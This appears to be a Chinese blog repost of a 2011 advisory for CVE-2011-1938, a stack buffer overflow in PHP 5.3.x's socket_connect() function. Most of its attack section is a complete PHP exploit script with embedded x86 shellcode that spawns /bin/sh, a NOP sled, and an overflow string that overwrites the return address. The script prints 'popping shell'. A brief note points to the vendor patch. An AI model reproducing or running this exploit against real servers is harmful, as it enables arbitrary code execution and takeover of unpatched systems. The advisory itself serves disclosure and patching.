php 栈缓冲区溢出漏洞,PHP “socket_connect()”函数栈缓冲区溢出漏洞

这篇博客详细介绍了PHP5.3.x版本中的一个严重安全漏洞CVE-2011-1938,该漏洞源于`socket_connect()`函数的栈缓冲区溢出,可能导致远程攻击者执行任意代码或服务器崩溃。文章提供了漏洞测试方法,展示了如何构造攻击代码,并提醒用户注意风险。建议受影响的用户尽快应用厂商发布的补丁以修复此问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

发布日期:2011-05-24

更新日期:2011-05-25

受影响系统:

PHP PHP 5.3.x

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 47950

CVE ID: CVE-2011-1938

PHP是英文超级文本预处理语言(PHP:Hypertext Preprocessor)的缩写。

PHP "socket_connect()"函数在实现上存在栈缓冲区溢出漏洞,远程攻击者可利用此漏洞在执行PHP进程中执行任意机器代码,可能会造成Web服务器的崩溃,拒绝服务合法用户。

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

echo "[+] CVE-2011-1938";

echo "[+] there we go...\n";

define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");

define('EVIL_SPACE_SIZE', 1024*1024*8);

$SHELLCODE =

"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".

"\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".

"\xcd\x80";

echo "[+] creating the sled.\n";

$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);

for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;

$i < strlen($SHELLCODE) ; $i++, $j++) {

$CODE[$j] = $SHELLCODE[$i];

}

$b = str_repeat("A", 196).EVIL_SPACE_ADDR;

$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);

echo "[+] popping shell, have fun (if you picked the right address...)\n";

$var85 = socket_connect($var79,$b);

?>

建议:

--------------------------------------------------------------------------------

厂商补丁:

PHP

---

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

0b1331709591d260c1c78e86d0c51c18.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值